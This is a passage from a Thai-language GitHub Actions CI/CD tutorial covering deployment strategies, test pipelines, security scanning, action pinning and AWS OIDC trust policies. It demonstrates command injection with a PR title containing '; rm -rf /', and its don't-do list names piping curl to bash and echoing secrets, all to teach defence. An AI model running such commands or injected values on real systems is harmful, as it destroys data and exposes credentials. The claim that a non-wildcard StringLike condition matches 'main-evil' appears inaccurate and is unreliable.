      - name: Smoke test (รอ pod พร้อมก่อน ดีกว่า sleep ตรง ๆ)
        run: |
          kubectl wait --for=condition=available --timeout=2m \
              deployment/myapp -n ${{ inputs.environment }}
          curl -f --max-time 10 --retry 3 --retry-delay 5 \
              https://api-${{ inputs.environment }}.example.com/health
      
      # Slack action v2 (v1 เลิก maintain ตั้งแต่ปี 2024)
      - name: แจ้ง Slack
        if: always()
        uses: slackapi/slack-github-action@v2  # ⚠️ ใช้จริง: pin SHA แทน @v2 (ดูข้อ 23)
        with:
          method: chat.postMessage
          token: ${{ secrets.SLACK_BOT_TOKEN }}
          payload: |
            channel: "deploys"
            text: "Deploy to ${{ inputs.environment }}: ${{ job.status }}"

🔄 ทำไม kubectl wait ดีกว่า sleep 30sleep 30 เดาว่า pod พร้อมแล้ว ซึ่งบางทียังไม่พร้อม (smoke test fail false positive) บางทีพร้อมก่อน (เสียเวลา). kubectl wait --for=condition=available รอจน readiness probe ผ่านจริง ๆ แล้วค่อยไปต่อ


12. Deployment Strategies

การ deploy เวอร์ชันใหม่มีหลายกลยุทธ์ที่แลกกันระหว่างความปลอดภัย ความเร็ว และทรัพยากร — rolling update (ค่อย ๆ แทนทีละตัว), blue/green (สลับทั้งชุดทันที), canary (ปล่อยทีละ % แล้วดู metric) และ feature flag (เปิด/ปิดฟีเจอร์โดยไม่ deploy ใหม่):

A. Rolling Update (default ใน K8s)

text
Replica 1: v1 → v2      (เปลี่ยนทีละตัว)
Replica 2: v1 → v2
Replica 3: v1 → v2

✅ Zero downtime (ไม่ดับ — มี replica อื่นรับ traffic ตลอด) ⚠️ ช่วง rollout มี 2 version ปนกัน (client บางคนเจอ v1 บางคนเจอ v2) ⚠️ Rollback บางส่วนยาก (ต้องสั่ง rollback ทั้งหมด)

B. Blue/Green

text
Blue (เวอร์ชันที่รัน prod อยู่)   ───┐
                                    │ สลับ traffic ทั้งก้อน
Green (เวอร์ชันใหม่)              ────┘

✅ สลับทันทีไม่มี version ปน ✅ Rollback ง่าย (สลับ traffic กลับ Blue) ❌ ต้องใช้ resource 2 เท่าช่วงสลับ (ทั้ง Blue + Green ต้องรันพร้อมกัน) ❌ DB schema ต้อง compatible ทั้ง 2 version (ดูกล่อง expand/contract ด้านล่าง)

yaml
# K8s service ชี้ไปที่ label
apiVersion: v1
kind: Service
metadata:
  name: web
spec:
  selector:
    app: web
    version: blue        # ⭐ เปลี่ยนเป็น green เพื่อสลับ traffic
  ports:
    - port: 80

🗄️ expand/contract pattern (DB migration กับ blue/green) ถ้า Green ต้องใช้ schema ใหม่ (เช่นเพิ่มคอลัมน์ใหม่) — ห้าม migrate schema แบบ breaking ก่อน switch เพราะ Blue จะพัง. ทำเป็น 2 step:

  1. Expand — เพิ่ม schema (เพิ่มคอลัมน์, สร้าง table) แบบ backward-compatible ก่อน. Blue ไม่เห็นคอลัมน์ใหม่ก็ยังทำงานได้
  2. Deploy Green → สลับ traffic → ดู metric สักพัก
  3. Contract — ลบของเก่าออกหลังจาก Blue ถูกปลดแล้ว (drop column เก่า)

หลักการเดียวกันใช้กับ canary และ rolling update — เพราะมี 2 version ปนกันช่วงเปลี่ยน

C. Canary

text
99% ของ traffic → v1 (เวอร์ชันเดิม)
1% ของ traffic → v2 (canary — เวอร์ชันทดลอง)
[เฝ้าดู metric: error rate, latency, business KPI]
ถ้า OK: เพิ่มเป็น 10% → 50% → 100%
ถ้าพัง: rollback ทันที (ลด traffic v2 เหลือ 0%)

✅ จำกัดความเสียหายให้ส่งผลแค่ % เล็ก ๆ ของ user ✅ ทดสอบกับ traffic จริง (ไม่ใช่ test environment) ❌ ซับซ้อน — ต้องมีระบบแบ่ง traffic

ใช้ service mesh (Istio, Linkerd) หรือ Argo Rollouts:

💡 3 ตัวนี้คืออะไร

  • Istio / Linkerd = service mesh — layer ที่ injection sidecar proxy เข้าทุก pod ใช้แบ่ง traffic, ตรวจ TLS, retry, observability ได้
  • Argo Rollouts = controller ของ K8s ที่ขยาย Deployment ให้รองรับ canary / blue-green โดยตรง (กำหนด setWeight: 10 ใน YAML แทนเขียน Istio config เอง)

ตัวอย่าง CRD ของ Argo Rollouts:

yaml
apiVersion: argoproj.io/v1alpha1
kind: Rollout
metadata:
  name: myapp
spec:
  replicas: 10
  strategy:
    canary:
      steps:
        - setWeight: 10    # 10% traffic ไป canary
        - pause: { duration: 5m }   # ดู metric 5 นาที
        - setWeight: 50
        - pause: { duration: 10m }
        - setWeight: 100
      analysis:            # ถ้า metric เลย threshold → auto rollback
        templates:
          - templateName: error-rate-check

D. Feature Flag

python
# เปิด/ปิด feature ด้วย flag — ไม่ deploy ก็เปลี่ยนได้
if feature_flag.is_enabled("new_checkout"):
    new_checkout()    # เวอร์ชันใหม่
else:
    old_checkout()    # เวอร์ชันเดิม (default)

Flow:

  1. Deploy code ใหม่ขึ้น prod (flag ปิดอยู่ — ไม่มีใครได้ใช้)
  2. เปิด flag ให้ user 1% (ผ่าน UI ของ flag service — ไม่ต้อง deploy ใหม่)
  3. ดู metric ดี → เปิด 10% → 50% → 100%
  4. ถ้าพัง → ปิด flag (instant rollback ไม่ต้อง deploy)

Tools (feature flag service):

  • LaunchDarkly — มาตรฐานอุตสาหกรรม, paid ตั้งแต่ $0 dev tier
  • GrowthBook — open source, self-host ได้, free tier
  • ConfigCat — paid, มี free tier ขนาดเล็ก
  • Unleash — open source แบบ self-host เต็มตัว

13. Test in Pipeline

CI จัดสัดส่วน test ตาม Test Pyramid: unit test เยอะสุด (เร็ว/ถูก), integration กลาง ๆ, E2E น้อยสุด (ช้า/แพง) แยกเป็นคนละ job รัน E2E หลัง unit+integration ผ่าน และ parallelize (sharding) เพื่อให้เร็วขึ้น:

Test Pyramid (พีระมิดทดสอบ)

text
        /\
       /E2\          5-10%   ← End-to-End: รันทั้งระบบเหมือนผู้ใช้จริง (ช้า, แพง, เปราะ)
      /----\
     /Integ.\         15-25% ← Integration: test กับ DB / external service จริง
    /--------\
   /  Unit    \       70-80% ← Unit: ฟังก์ชันเดี่ยว ไม่แตะ I/O (เร็วสุด, ถูกสุด)
  /------------\

💡 ตัวเลข % หมายถึงสัดส่วนของจำนวน test ทั้งหมด เช่น ถ้ามี 100 test → unit ~75 ตัว, integration ~20 ตัว, E2E ~5 ตัว (ไม่ใช่ % ของเวลาหรืออะไรอื่น)

→ Unit เยอะสุดเพราะเร็ว/ถูก ใช้ทดสอบ business logic, E2E น้อยสุดเพราะแพง — เก็บไว้ทดสอบ user journey หลัก ๆ

yaml
jobs:
  unit:
    runs-on: ubuntu-latest
    steps:
      - run: ./mvnw test
  
  integration:
    runs-on: ubuntu-latest
    services:
      postgres:
        image: postgres:16
    steps:
      - run: ./mvnw verify -Pintegration
  
  e2e:
    runs-on: ubuntu-latest
    needs: [unit, integration]
    steps:
      - run: ./run-e2e-tests.sh

Parallelize for speed (รันคู่ขนานให้เร็วขึ้น)

แบ่ง test เป็น N กลุ่ม (sharding) แล้วรันคู่ขนาน — 100 test แบ่ง 4 shard ใช้เวลา ~1/4 (สมมติ test กระจายเท่ากัน):

⚠️ ตัวอย่างนี้ copy-paste แล้วรันไม่ได้ทันที-DshardIndex/-DshardTotal ไม่ใช่ property มาตรฐานของ Maven Surefire ต้องมี plugin หรือ logic แบ่ง shard เพิ่มเอง (เช่น junit-pioneer @Shard, Maven Surefire forkCount, หรือเขียน script แบ่งไฟล์ test เอง) ไม่งั้น -D property นี้จะถูกเมินเฉย ๆ ไม่ error แต่ก็ไม่แบ่งจริง

yaml
test:
  strategy:
    matrix:
      shard: [1, 2, 3, 4]
  steps:
    - run: ./mvnw test -DshardIndex=${{ matrix.shard }} -DshardTotal=4

14. Code Quality Checks

Pipeline ที่ดีบังคับมาตรฐานคุณภาพโค้ดอัตโนมัติ — lint, format check, type check, coverage ขั้นต่ำ และ SonarCloud ที่จับ code smell/bug ทำให้ทุก PR ผ่านเกณฑ์เดียวกันโดยไม่ต้องพึ่งคนเตือน:

yaml
jobs:
  quality:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      # Lint — ตรวจ style ของโค้ด (เช่น ใช้ semicolon ไหม, var ไม่ใช้)
      - run: npm run lint
      
      # ตรวจ format (Prettier / Black) — ตัดสินใจแทนคนว่าเว้นบรรทัดยังไง
      - run: npm run format:check
      
      # ตรวจชนิดข้อมูล (TypeScript / mypy)
      - run: npm run type-check
      
      # บังคับ coverage ขั้นต่ำ — ใน jacoco config ตั้ง line coverage >= 80%
      - run: ./mvnw verify
      
      # SonarCloud — ตรวจ code smell, bug, security hotspot (free สำหรับ open source repo)
      # ⚠️ pin SHA แทน @v3 เมื่อใช้จริง (ดูข้อ 23)
      - uses: SonarSource/sonarcloud-github-action@v3
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}

15. Security Checks

ตรวจตั้งแต่ใน pipeline ไม่รอจนขึ้น prod (ที่ฝรั่งเรียก "shift-left" — เลื่อนการตรวจหาบั๊กมาทำตั้งแต่ขั้นตอนแรก ๆ ของการพัฒนา แทนที่จะรอตรวจทีหลังตอน deploy แล้ว ยิ่งเจอบั๊กเร็ว ยิ่งแก้ง่ายและถูกกว่า):

เครื่องมือสำคัญที่ใช้กันใน CI/CD ปี 2026:

  • SAST (Static Application Security Testing) — วิเคราะห์โค้ดต้นทาง (ไม่ต้องรัน) หาบั๊กความปลอดภัย เช่น SQL injection, XSS
    • CodeQL (GitHub) — engine SAST ที่ฟรีสำหรับ public repo, รองรับหลายภาษา
  • Dependency scan — หา CVE ใน lib ที่ project พึ่งพา
    • Snyk — paid, มี free tier, แก้ CVE auto-fix ได้
    • Trivy — ของ Aqua Security, ใช้ฟรี ครอบคลุม dep + image + config (ใช้บ่อยที่สุดใน CI)
  • Secret scan — หา password / API key ที่เผลอ commit เข้า repo
    • TruffleHog — สแกน git history หา secret ที่หลุด
    • gitleaks — ทางเลือกที่นิยม (regex + entropy)
  • Container scan — สแกน image หา CVE / misconfig
    • Trivy — ใช้ตัวเดียวกับ dep scan ได้
  • IaC scan (Infrastructure as Code) — สแกน Terraform / Kubernetes YAML / Dockerfile หา misconfig
    • Checkov — ของ Bridgecrew/Prisma Cloud
    • tfsec — สำหรับ Terraform โดยเฉพาะ

📚 ขยายศัพท์

  • CVE (Common Vulnerabilities and Exposures) = รหัสช่องโหว่ความปลอดภัยมาตรฐาน เช่น CVE-2021-44228 (Log4Shell)
  • IaC (Infrastructure as Code) = เขียน infra (server, network) เป็นไฟล์ config (Terraform, K8s manifest)
  • SAST vs DAST = SAST อ่านโค้ดอย่างเดียว (static), DAST รันแล้วยิงทดสอบ (dynamic — เหมือน pentest อัตโนมัติ)
yaml
security:
  runs-on: ubuntu-latest
  steps:
    - uses: actions/checkout@v4
    
    # สแกน dependency หา CVE — pin SHA ของ Snyk action เวอร์ชันที่ verify แล้ว
    - name: Snyk dependency scan
      uses: snyk/actions/maven@cdb760004ba9ea4d525f2e043745dfe85bb9077e  # v1.x
      env:
        SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}    # ต้อง register Snyk + ตั้ง token
      with:
        args: --severity-threshold=high          # fail ถ้าเจอ HIGH ขึ้นไป
        command: monitor                          # ส่งผลขึ้น dashboard ด้วย (test = แค่รันใน CI)
    
    # SAST ด้วย CodeQL — สำหรับภาษา compiled ต้องมี 2 step (init + analyze)
    - uses: github/codeql-action/init@v3
      with:
        languages: java
    - uses: github/codeql-action/autobuild@v3
    - uses: github/codeql-action/analyze@v3
    
    # หา secret ที่หลุดเข้า repo — pin SHA, ระบุ args เพื่อ scan filesystem
    - name: TruffleHog secret scan
      uses: trufflesecurity/trufflehog@a05cf0859455b5b16317ee22d809887a4043cdf0  # v3.x
      with:
        path: ./
        base: ${{ github.event.repository.default_branch }}
        head: HEAD
        extra_args: --only-verified           # เฉพาะ secret ที่ verify ว่าจริง (ลด false positive)
    
    # สแกน container image — ✅ ใช้ scanners แทน security-checks, exit-code: '1' บล็อก pipeline
    - name: Trivy image scan
      uses: aquasecurity/trivy-action@b2933f565dbc598b29947660e66259e3c7bc8561  # v0.36.0
      with:
        image-ref: 'ghcr.io/myorg/app:${{ github.sha }}'
        scanners: vuln,secret,misconfig
        severity: 'CRITICAL,HIGH'
        exit-code: '1'
        ignore-unfixed: true
    
    # สแกน IaC — pin SHA
    - name: Checkov IaC scan
      uses: bridgecrewio/checkov-action@2d4dca527e5ea29b5b30e7d6a16ec33a3dca4e8d  # v12.x
      with:
        directory: infra/
        framework: terraform,kubernetes,dockerfile
        soft_fail: false      # fail pipeline ถ้าเจอ misconfig

🔐 เรื่อง code injection ที่ระวังบ่อยพลาด — ห้ามใส่ user input (เช่น PR title) ตรง ๆ ใน shell expression. ใช้ env indirection แทน:

yaml
# ❌ INJECTION RISK — PR title ที่ขึ้นต้นด้วย "; rm -rf /" จะรันจริง
- run: echo "${{ github.event.pull_request.title }}"

# ✅ ปลอดภัย — เอาเข้า env ก่อน แล้วใช้ผ่าน shell variable
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "$PR_TITLE"

16. Reusable Workflow

เมื่อหลาย repo มี pipeline คล้ายกัน การก๊อปไฟล์ไปมาทำให้แก้ยาก — reusable workflow (workflow_call) ให้เขียน workflow กลางครั้งเดียวแล้วเรียกใช้ซ้ำจากหลายที่ พร้อมส่ง input เข้าไปปรับได้:

yaml
# .github/workflows/test-suite.yml
name: Reusable Tests

on:
  workflow_call:
    inputs:
      java-version:
        type: string
        default: '21'

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-java@v4
        with:
          java-version: ${{ inputs.java-version }}
          distribution: 'temurin'
      - run: ./mvnw test
yaml
# .github/workflows/ci.yml
jobs:
  test:
    uses: ./.github/workflows/test-suite.yml
    with:
      java-version: '21'

→ DRY ระหว่าง project / workflow


17. Composite Actions

reusable workflow รวมทั้ง job, composite action รวม "หลาย step" เป็น action เดียวที่เรียกได้ในทุก workflow — เหมาะกับชุด step ที่ทำซ้ำ เช่น checkout + setup Java + resolve dependency:

yaml
# .github/actions/setup-app/action.yml
name: 'Setup App'
inputs:
  java-version:
    default: '21'

runs:
  using: composite
  steps:
    - uses: actions/checkout@v4
    - uses: actions/setup-java@v4
      with:
        java-version: ${{ inputs.java-version }}
        distribution: 'temurin'
    - run: ./mvnw dependency:resolve
      shell: bash
yaml
# Use
steps:
  - uses: ./.github/actions/setup-app
    with:
      java-version: '21'

18. Matrix Build

matrix build รัน job เดียวกันหลายชุดพร้อมกัน โดยไล่ทุก combination ของค่าที่กำหนด — เช่น test บน 3 OS × 2 เวอร์ชัน Node = 6 ชุดขนาน ใช้ include/exclude เพิ่ม-ตัด combo เฉพาะได้:

yaml
jobs:
  test:
    strategy:
      matrix:
        os: [ubuntu-latest, macos-latest, windows-latest]
        node: [18, 20]
        include:
          - os: ubuntu-latest
            node: 21              # extra combo
        exclude:
          - os: windows-latest
            node: 18              # skip
    
    runs-on: ${{ matrix.os }}
    
    steps:
      - run: echo "Testing on ${{ matrix.os }} with Node ${{ matrix.node }}"

→ Test multiple combination simultaneously


19. Artifacts + Releases

Artifact คือไฟล์ผลลัพธ์จาก build (เช่น jar, binary, รายงาน) ที่อยากเก็บหรือส่งต่อระหว่าง job — ใช้ upload-artifact/download-artifact และเมื่อ push tag เวอร์ชันก็สร้าง GitHub Release พร้อมแนบไฟล์และ generate release notes อัตโนมัติได้:

yaml
# Build artifact
- run: ./mvnw package
- uses: actions/upload-artifact@v4
  with:
    name: app-jar
    path: target/*.jar
    retention-days: 7

# Auto release on tag
on:
  push:
    tags: ['v*']

jobs:
  release:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: ./mvnw package
      - uses: softprops/action-gh-release@v2  # ⚠️ ใช้จริง: pin SHA แทน @v2 (ดูข้อ 23)
        with:
          files: target/*.jar
          generate_release_notes: true

20. Monorepo Strategies

ใน monorepo การ build/test ทุกอย่างทุกครั้งเสียเวลา — ใช้ paths filter ตรวจว่าโฟลเดอร์ไหนถูกแก้ แล้วรันเฉพาะ job ที่เกี่ยวข้อง (เช่นแก้แค่ apps/web ก็ test แค่ web):

yaml
on:
  push:
    paths:
      - 'apps/web/**'
      - 'packages/shared/**'

jobs:
  detect:
    runs-on: ubuntu-latest
    outputs:
      web: ${{ steps.filter.outputs.web }}
      api: ${{ steps.filter.outputs.api }}
    steps:
      - uses: actions/checkout@v4
      - uses: dorny/paths-filter@v3
        id: filter
        with:
          filters: |
            web: ['apps/web/**', 'packages/shared/**']
            api: ['apps/api/**']
  
  test-web:
    needs: detect
    if: needs.detect.outputs.web == 'true'
    runs-on: ubuntu-latest
    steps:
      - run: npm test -w web

→ Build only affected projects


21. Self-hosted Runner

GitHub-hosted runner รัน job บน VM ที่ GitHub เตรียมให้ self-hosted runner ใช้เมื่อต้องเข้าถึง network ภายใน, ต้องใช้ GPU/ฮาร์ดแวร์พิเศษ หรือ workload หนักจนคุ้มกว่าจะใช้เครื่องตัวเอง:

bash
# ลงทะเบียน runner ที่ Settings → Actions → Runners → New
# ดาวน์โหลด script แล้วลงบน server ของคุณ

# ใช้ใน workflow
jobs:
  build:
    runs-on: self-hosted
    # หรือใส่ label เฉพาะ — ให้รันบนเครื่องที่ตรง label
    runs-on: [self-hosted, linux, gpu]

เหมาะกับกรณี:

  • ต้องเข้า network ภายในองค์กร (เช่น deploy ไป private VPC)
  • ต้องใช้ GPU หรือฮาร์ดแวร์พิเศษ
  • workload หนักมากจนคุ้มกว่าจะรันเองดีกว่าเสียค่า GitHub-hosted

⚠️ อย่าตั้ง self-hosted runner ใน public repo — PR จาก fork สามารถรันโค้ดอะไรก็ได้บน runner ของคุณ เสี่ยงสูงมาก


22. Common Patterns

Pattern ที่ทีมส่วนใหญ่ใช้จริง — ตรวจ PR อัตโนมัติ (เช็ค commit format, ขนาด PR, assign reviewer), deploy preview ให้ทุก PR และ Dependabot ที่คอยอัปเดต dependency ให้เอง:

PR Validation

yaml
on:
  pull_request:

jobs:
  validate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      # Conventional commit check
      - uses: amannn/action-semantic-pull-request@v5  # ⚠️ ใช้จริง: pin SHA แทน @v5 (ดูข้อ 23)
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
      
      # PR size warning
      - uses: CodelyTV/pr-size-labeler@v1             # ⚠️ ใช้จริง: pin SHA แทน @v1 (ดูข้อ 23)
      
      # Auto-assign reviewer
      - uses: kentaro-m/auto-assign-action@v2         # ⚠️ ใช้จริง: pin SHA แทน @v2 (ดูข้อ 23)

Auto-deploy preview

yaml
on:
  pull_request:

jobs:
  preview:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: vercel deploy --prebuilt
        env:
          VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }}
      
      - uses: actions/github-script@v7  # ⚠️ ใช้จริง: pin SHA แทน @v7 (ดูข้อ 23)
        with:
          script: |
            github.rest.issues.createComment({
              issue_number: context.issue.number,
              owner: context.repo.owner,
              repo: context.repo.repo,
              body: 'Preview: https://pr-' + context.issue.number + '.preview.example.com'
            })

⚠️ PR จาก fork จะ deploy preview ไม่ได้ — GitHub Actions ไม่ส่ง secret (เช่น VERCEL_TOKEN) ให้ workflow ที่รันจาก fork เพื่อความปลอดภัย. ทางแก้: ใช้ pull_request_target (เห็น secret แต่อันตราย — ดูเตือนข้อ 5), หรือใช้ bot deploy แยกหลัง maintainer ตรวจแล้ว

Dependabot (auto-update deps)

yaml
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "daily"        # ของ security update ตรวจทุกวัน
    # group minor + patch update เป็น PR เดียว ลด PR spam
    groups:
      npm-minor-patch:
        update-types: ["minor", "patch"]
  - package-ecosystem: "maven"
    directory: "/"
    schedule:
      interval: "weekly"
    groups:
      maven-minor-patch:
        update-types: ["minor", "patch"]
  - package-ecosystem: "docker"
    directory: "/"
    schedule:
      interval: "weekly"
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"        # GitHub Actions มี breaking บ่อย ตรวจสัปดาห์ละครั้งดี
    groups:
      actions-minor-patch:
        update-types: ["minor", "patch"]

💡 ทำไมต้อง group — ก่อน 2024 ที่ยังไม่มี groups: คุณจะได้ PR วันละ 5-10 อัน (PR ละ 1 dep). ตั้ง group แล้วเหลือ ~1 PR/สัปดาห์ — รีวิวได้จริง


23. Best Practices

Pin action ตามเวอร์ชัน/SHA, ให้ permission น้อยที่สุดเท่าที่จำเป็น, cache dependency เพื่อความเร็ว:

Pin action ตาม SHA หรือ version tag

yaml
- uses: actions/checkout@v4                                                     # โอเค — major version
- uses: actions/checkout@b32f140b0bbf6f60fa6b8b9e2f0c9b9d0c43e6f1                # ปลอดภัยสุด — pin SHA
- uses: actions/checkout@main                                                   # ❌ อันตราย — เปลี่ยนได้ทุกเมื่อ

💡 ทำไม pin SHA ดีสุด — supply chain attack ที่เคยเกิดจริง (เช่น tj-actions/changed-files ปี 2025) hacker แก้ tag ของ action แล้ว action ที่ pin @v1 รัน malicious code ทันที. pin SHA = ผูกกับ snapshot นั้น hacker แก้ไม่ได้

ให้ permission น้อยที่สุดเท่าที่จำเป็น

yaml
permissions:
  contents: read
  pull-requests: write

Cache dependency

yaml
- uses: actions/setup-node@v4
  with:
    cache: 'npm'

พังก็หยุดเลย (สำหรับ PR ปกติ)

yaml
strategy:
  fail-fast: true        # PR ปกติ — ประหยัด CI
  # แต่สำหรับ matrix test ใหญ่ ใช้ false ดีกว่า (จะได้เห็นว่าพังหลาย combo ไหม)

ใช้ environment สำหรับ prod

yaml
environment: production    # ต้องผ่าน approval ก่อน

ห้ามทำ:

  • รัน curl ... | bash จาก URL ที่ไม่รู้จัก
  • log ค่า secret ลง console (เช่น echo $TOKEN)
  • ใส่ user input ตรง ๆ ใน shell expression — เสี่ยง code injection
    yaml
    # ❌ INJECTION — PR title ของ hacker จะรัน
    - run: echo "${{ github.event.pull_request.title }}"
    
    # ✅ ปลอดภัย — ผ่าน env
    - env:
        PR_TITLE: ${{ github.event.pull_request.title }}
      run: echo "$PR_TITLE"

24. Common Pitfalls

ปัญหาที่เจอบ่อยกับวิธีแก้:

ปัญหาวิธีแก้
Build ช้ารันคู่ขนาน, cache dependency, ใช้ matrix
Test กระตุก (flaky)retry, แยก test ออกจากกัน, แก้ที่ต้นเหตุ
Monorepo build ซ้ำทั้งหมดใช้ paths filter, ตรวจว่าโฟลเดอร์ไหนเปลี่ยน
Secret ไม่เคย rotaterotate ทุก 3 เดือน หรือเปลี่ยนไปใช้ OIDC
Pipeline รันนานshard test, รันคู่ขนาน, optimize
ไม่มี notificationตั้ง webhook Slack/Discord ตอน job fail
Approve ด้วยมือทุก stepเชื่อ automation, ดู metric แทน (กำหนด rollback อัตโนมัติ)

25. Modern Practices

🚀 โซนขั้นสูง — ข้ามได้ OIDC และ GitOps เป็น practice ของทีมที่ทำ CI/CD จริงจังแล้ว ถ้าเพิ่งเริ่มเขียน workflow แรก ใช้ GitHub Secrets แบบธรรมดาไปก่อนได้ (หัวข้อ 9) แล้วค่อยกลับมาอัปเกรดเป็น OIDC ทีหลังเมื่อ deploy ขึ้น cloud จริง — เรื่อง GitOps ลงลึกได้ใน Kubernetes Book

OIDC (Cloud Auth without static keys)

ปัญหาที่ OIDC แก้

ก่อน OIDC — เก็บ AWS access key ใน GitHub Secrets:

text
❌ ปัญหาของ static credentials (key ถาวร):
- Key รั่ว = บัญชีถูกครอบครองตลอดไป (จนกว่าจะเปลี่ยน key ใหม่)
- ต้อง rotate (เปลี่ยน key) เองตามรอบ = ลืม / pipeline พังตอน rotate
- Key หลุดเข้า log ได้ง่ายถ้าไม่ระวัง (เช่น echo ออกมา)
- Audit ยาก — ตามไม่ได้ว่าใครใช้ key ตอนไหน

🔑 รู้จัก JWT ก่อนเข้า OIDC

  • JWT (JSON Web Token) = token (บัตรผ่าน) ที่ฝังข้อมูลข้างในได้ และมี ลายเซ็นดิจิทัลกันปลอม
  • ข้อมูลข้างใน JWT เรียกว่า claim เช่น "มาจาก repo ไหน, branch ไหน, ใครเป็นคนรัน"
  • ลายเซ็นดิจิทัลทำงานยังไง (สั้น ๆ) — คือค่าที่คำนวณจากเนื้อหา token ด้วยกุญแจลับของผู้ออก (GitHub) ถ้าใครแอบแก้เนื้อหา ค่าที่คำนวณใหม่จะไม่ตรงกับลายเซ็นเดิม ผู้รับ (AWS) ตรวจจับความไม่ตรงนี้ได้ทันที — ไม่ต้องเข้าใจ crypto ลึก แค่รู้ว่า "แก้ไส้ในไม่ได้โดยไม่ทำให้ลายเซ็นเสีย"
  • ผู้รับจึงเชื่อใจข้อมูลใน token ได้ โดยไม่ต้องถาม GitHub ซ้ำ

OIDC ทำงานยังไง

OIDC (OpenID Connect) = standard ที่ให้ cloud provider "trust" (เชื่อใจ) GitHub โดยตรง โดยไม่ต้องมี static key

💡 role (บทบาท) คืออะไร — ใน AWS IAM, role คือ "ชุดสิทธิ์ที่กำหนดไว้ล่วงหน้า" (เช่น "แก้ไข S3 bucket นี้ได้") ไม่ใช่ user ตัวจริงที่มี password — ใครก็ตามที่ได้รับอนุญาตให้ "สวมบทบาท" (assume role) นี้ได้ ก็ทำตามสิทธิ์ที่ role นั้นกำหนดไว้ชั่วคราว เหมือนยืมบัตรพนักงานที่มีสิทธิ์เฉพาะมาใช้ชั่วครู่แล้วคืน

text
1. Workflow run → GitHub สร้าง JWT token อายุสั้น (short-lived, ~15 นาที)
   ใน token มี claim: repo, branch, environment, actor (ดูกล่อง JWT ข้างบน)

2. Action เอา JWT → ส่งให้ AWS STS (Security Token Service =
   บริการของ AWS ที่แจก credential ชั่วคราว)
   "ฉันเป็น github-action จาก repo X, branch main"

3. AWS เช็ค trust policy (กฎที่บอกว่า "ใครได้รับอนุญาตให้สวมบทบาทไหน"):
   "Repo X, branch main → ให้ assume role 'github-deploy' ได้"

4. AWS คืน temporary credentials (credential ชั่วคราว 15 นาที - 1 ชม.)
   → ใช้ deploy → หมดอายุเอง

ไม่มี secret ใน GitHub เลย — ไม่มีอะไรให้รั่ว

Setup OIDC กับ AWS

⚠️ prerequisite — ต้องมี AWS account ที่มีสิทธิ์ admin (สร้าง IAM provider + IAM role ได้) และรู้พื้นฐาน IAM (role, trust policy, permissions policy). ถ้ายังไม่เคยใช้ AWS CLI / IAM แนะนำให้อ่านบทที่ 6 (Cloud Platforms) ก่อน

Step 1: สร้าง OIDC provider ใน AWS (ตั้งครั้งเดียวต่อ AWS account)

bash
# AWS CLI v2 (แนะนำ) — ไม่ต้องใส่ --thumbprint-list
aws iam create-open-id-connect-provider \
  --url https://token.actions.githubusercontent.com \
  --client-id-list sts.amazonaws.com

# AWS CLI เก่ากว่า (หรือ region/release ที่ยัง require) อาจต้องใส่ thumbprint:
#   --thumbprint-list <ดึงค่าปัจจุบันจาก AWS docs ตอนใช้จริง — ไม่แนะนำ hardcode เพราะ GitHub rotate cert เป็นระยะ ค่าเก่าจะหมดอายุเงียบ ๆ>
# ถ้าเจอ error "Missing required parameter: thumbprint-list" ให้เติม flag นี้

💡 2024+ (AWS CLI v2 ปัจจุบัน): ไม่ต้องใส่ --thumbprint-list แล้ว สำหรับ GitHub Actions — AWS รองรับ GitHub's intermediate CA cert โดยตรง (ดู AWS Blog Oct 2023). thumbprint ที่ hardcode มาในบทความเก่า ๆ จะหมดอายุเมื่อ GitHub rotate cert — ไม่ต้องตามแก้ มี/ไม่มี ก็ใช้งานได้ (AWS ละเลย thumbprint ถ้า issuer เป็น well-known OIDC provider). (last reviewed: 2026-06 — ตรวจ AWS docs ทางการก่อนใช้)

Step 2: สร้าง IAM role with trust policy

💡 สองคำในนโยบายด้านล่าง:

  • Federated = ผู้ยืนยันตัวตนจากภายนอก (ในที่นี้คือ GitHub) — federated identity ให้ระบบเราเชื่อตัวตนที่ออกโดยอีกระบบหนึ่งโดยไม่ต้องสร้าง user ซ้ำ
  • AssumeRoleWithWebIdentity = ขอสวมบทบาท (role) โดยใช้ตัวตนจากเว็บภายนอก
json
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {
      "Federated": "arn:aws:iam::123:oidc-provider/token.actions.githubusercontent.com"
    },
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringEquals": {
        "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
        "token.actions.githubusercontent.com:sub": "repo:myorg/myrepo:ref:refs/heads/main"
      }
    }
  }]
}

⚠️ StringEquals vs StringLike บน sub claim — เลือกผิด = ช่องโหว่

  • StringEquals (ใช้ในตัวอย่าง) = ตรงเป๊ะ — ใช้กับ subject แบบเฉพาะ (เช่น repo:org/repo:ref:refs/heads/main)
  • StringLike = รับ wildcard * — ใช้กับ subject แบบกว้าง (เช่น repo:myorg/*:ref:refs/heads/main ครอบทุก repo ใน org)
  • ห้ามใช้ StringLike กับ subject เฉพาะ เพราะ string repo:myorg/myrepo:ref:refs/heads/main จะถูก match โดย repo:myorg/myrepo:ref:refs/heads/main-evil ด้วย (claim substring attack) — ใน GitHub docs เตือนเรื่องนี้ชัดเจน

🔑 รูปแบบ sub claim ที่ใช้บ่อย

  • branch-scoped: repo:OWNER/REPO:ref:refs/heads/BRANCH
  • environment-scoped (แนะนำสำหรับ prod): repo:OWNER/REPO:environment:production — ผูกกับ environment ใน GitHub ที่มี approval rules
  • tag-scoped: repo:OWNER/REPO:ref:refs/tags/v* (ใช้กับ StringLike เพราะมี wildcard)
